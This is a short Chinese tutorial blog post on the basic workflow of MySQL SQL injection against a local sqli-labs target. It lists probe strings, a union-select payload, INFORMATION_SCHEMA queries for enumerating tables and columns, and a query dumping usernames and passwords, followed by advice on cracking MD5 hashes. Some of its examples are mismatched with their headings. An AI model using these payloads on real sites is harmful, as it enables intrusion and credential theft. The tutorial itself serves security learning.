SQL注入【二】——MYSQL注入的基本流程

发布于 2020-07-02  107 次阅读


在对MYSQL注入的基本流程讲解前先来科普一下MySQL 5.0以上和MySQL 5.0以下版本的区别

MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。我们常见的MySQL注入都是基于MySQL5.0以上版本的

所以我们有必要在进行SQL注入时养成用version()来查看数据库版本的习惯

sql注入基本流程

0x01 判断是否有注入点

通过加单引号和and 1=1,and 1=2等根据页面返回结果确定是否存在注入

目标:需要确定

  • 注入方式(union,boolean,cookie等)
  • 如果是(union,boolean,报错)注入还得确定注入参数类型是数字型还是字符型

0x02 获取数据库基本信息

1.数据库版本

比如数据库类型(MySQL,Oracle等)

如果是MySQL还得确定版本

下面语句都是插入在回显点处,并且都要加上括号包裹

例:http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema =database() limit 0,1),3 --+

0x03 获取数据库库名

通过确定的回显点处使用database()函数来查看当前使用的数据库

如果想查看所有数据库名,可使用命令

SELECT * FROM INFORMATION_SCHEMA.SCHEMATA

0x04 获取数据库表名

select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
select group_concat(table_name) from information_schema.tables where table_schema='数据库名'
/*如果是只想查看当前数据库,数据库名直接用database()代替*/

0x05 获取数据库字段名

select table_name from information_schema.tables where table_schema=database() limit 0,1
/*上面的limit 0,1表示从第一个开始,显示1个值*/
group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

0x06 获取字段下的值

一般是用户信息,如账号密码之类的

select group_concat(字段名,字段名) from 表名
例:
select group_concat(username,password) from users

0x07 破解数据

针对密码等数据一般都是经过MD5加密的,我们可以通过解密平台进行解密

0x08 提升权限

0x09 内网渗透


一个热爱技术的白帽子